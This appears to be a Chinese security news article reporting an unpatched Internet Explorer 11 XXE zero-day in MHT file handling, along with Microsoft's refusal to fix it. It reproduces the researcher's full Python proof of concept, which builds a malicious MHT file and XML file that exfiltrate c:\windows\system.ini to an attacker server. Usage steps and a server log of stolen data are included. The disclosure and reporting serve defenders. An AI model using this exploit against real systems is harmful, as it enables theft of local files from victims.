freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

高危 0day! 微软拒绝修复,研究员公开 IE 浏览器 0day 详情和 PoC
2019-04-15 08:39:23

研究人员 John Page 公开了一个可导致黑客从 Windows 系统中窃取文件的 IE 浏览器 0day 漏洞的详情和 PoC 代码。该漏洞为存在于 IE 11 中的XXE 外部实体注入漏洞,存在于 IE 处理 MHT 文件的方式中,影响 Windows 710 Server 2012 R2 版本。

MHT 即“MHTML Web Archive”,是所有 IE 浏览器保持网页(点击 CTRL+S)的默认标准。虽然现代浏览器不再以 MHT 格式保存网页,而是使用标准的 HTML 文件格式,然而很多现代浏览器仍然支持处理该格式。

技术详情

Page 表示,IE 浏览器易受 XML 外部实体攻击,前提是用户在本地打开一个特殊构造的 .MHT 文件。

它可导致远程攻击者窃取本地文件并远程侦察本地安装的程序版本信息。例如,c:\python27\NEWS.txt” 的请求可访问该程序的版本信息。

本地打开恶意 .MHT” 文件后,它应该会启动 IE 浏览器。之后,用户交互如重复选项卡 Ctrl+K其它交互如右击网页上的“打印预览”或“打印”命令可能会触发这个 XXE 漏洞。

然而,对 window.print() Javascript 函数的简单调用可在无需用户和网页交互的情况下实施攻击。重要的是,如果文件是从网络以压缩文档的形式下载并使用某种存档使用程序 MOTW 打开的,那么可能就不会起作用。

通常在实例化 ActiveX Objects Microsoft.XMLHTTP时,用户将会在 IE 中看到安全栏警告并被提示激活被阻止的内容。然而,当打开使用恶意 <xml> 标记打开特殊构造的 .MHT 文件时,用户将无法获得此类活动内容或安全栏警告。

例如:

C:\sec>python -m SimpleHTTPServerServing HTTP on 0.0.0.0 port 8000 ...127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -127.0.0.1 - - [10/Apr/2019 20:56:28"GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 -

Page 在安装完整补丁的Win7/10  Server 2012 R2上的最新版本 IE 浏览器版本 V11测试成功。

PoC


PoC 视频:https://www.youtube.com/watch?v=fbLNbCjgJeY

窃取 Windows system.ini” 文件的 PoC 代码如下(注:可根据需要编辑脚本中的攻击者服务器 IP

(1)使用如下脚本创建datatears.xml XML 和嵌入 XXE msie-xxe-0day.mht MHT 文件

(2)Python m SimpleHTTPServer

(3)将生成的datatears.xml放在 Python 服务器 web-root 中。

(4)打开生成的msie-xxe-0day.mht文件,观察文件将被窃取。

#Microsoft Internet Explorer XXE 0day#Creates malicious XXE .MHT and XML files#Open the MHT file in MSIE locally, should exfil system.ini#By hyp3rlinx #ApparitionSecATTACKER_IP="localhost"PORT="8000"mht_file=('From:\n''Subject:\n''Date:\n''MIME-Version: 1.0\n''Content-Type: multipart/related; type="text/html";\n''\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n''This is a multi-part message in MIME format.\n\n\n''--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n''Content-Type: text/html; charset="UTF-8"\n''Content-Location: main.htm\n\n''<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n''<html>\n''<head>\n''<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n''<title>MSIE XXE 0day</title>\n''</head>\n''<body>\n''<xml>\n''<?xml version="1.0" encoding="utf-8"?>\n''<!DOCTYPE r [\n''<!ELEMENT r ANY >\n''<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n''%sp;\n''%param1;\n'']>\n''<r>&exfil;</r>\n''<r>&exfil;</r>\n''<r>&exfil;</r>\n''<r>&exfil;</r>\n''</xml>\n''<script>window.print();</script>\n''<table cellpadding="0" cellspacing="0" border="0">\n''<tr>\n''<td class="contentcell-width">\n''<h1>MSIE XML External Entity 0day PoC.</h1>\n''<h3>Discovery: hyp3rlinx</h3>\n''<h3>ApparitionSec</h3>\n''</td>\n''</tr>\n''</table>\n''</body>\n''</html>\n\n\n''--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--')xml_file=('<!ENTITY % data SYSTEM "c:\windows\system.ini">\n''<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n''<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n''<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n')def mk_msie_0day_filez(f,p):    f=open(f,"wb")    f.write(p)    f.close()if __name__ == "__main__":    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)    mk_msie_0day_filez("datatears.xml",xml_file)    print "Microsoft Internet Explorer XML External Entity 0day PoC."    print "Files msie-xxe-0day.mht and datatears.xml Created!."    print "Discovery: Hyp3rlinx / Apparition Security"

微软拒绝修复

2019327日,Page 将漏洞情况告知微软,当天微软证实问题存在。410日微软回应称,“我们将在未来的产品或服务版本中考虑这个问题的修复方案。目前我们将不会提供该问题修复方案的状态更新进展情况,我们已关闭该案例。”当天,Page 公开漏洞详情。

可能唯一的好消息是,根据 NetMarketShare 的调查显示, IE 浏览器的市场份额已缩水至 7.34%,很少人在使用它。然而,由于 Windows 使用 IE 浏览器作为打开 MHT 文件的默认 app,因此用户不一定必须将 IE 浏览器设置为默认浏览器,但是只要 IE 浏览器存在于用户系统中,那么就仍然可被诱骗打开 MHT 文件。

 XXE 外部实体漏洞应当获得严肃对待。过去,网络犯罪团伙已经利用 MHT 文件进行鱼叉式钓鱼攻击并传播恶意软件。MHT 文件已成为打包并向用户电脑传播利用代码的流行方式。因为 MHT 格式的文件能够存储恶意代码,因此在打开时应当总是先执行扫描,不管该文件是最近收到的还是已存在数月之久概莫能外。

 




推荐阅读

微软“补丁星期二”修复74个漏洞,含2个已遭利用的不详 0day

0day! 0day!微软 Edge 和 IE 浏览器均被曝未修复的 0day(含PoC)




原文链接

http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt

 

https://www.zdnet.com/article/internet-explorer-zero-day-lets-hackers-steal-files-from-windows-pcs/



本文由360代码卫士编译,不代表360观点,转载请注明“转自360代码卫士 www.codesafe.cn”。



?wx_fmt=jpeg?wx_fmt=jpeg

360代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。


# 0day # 技术分析 # IE 浏览器
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者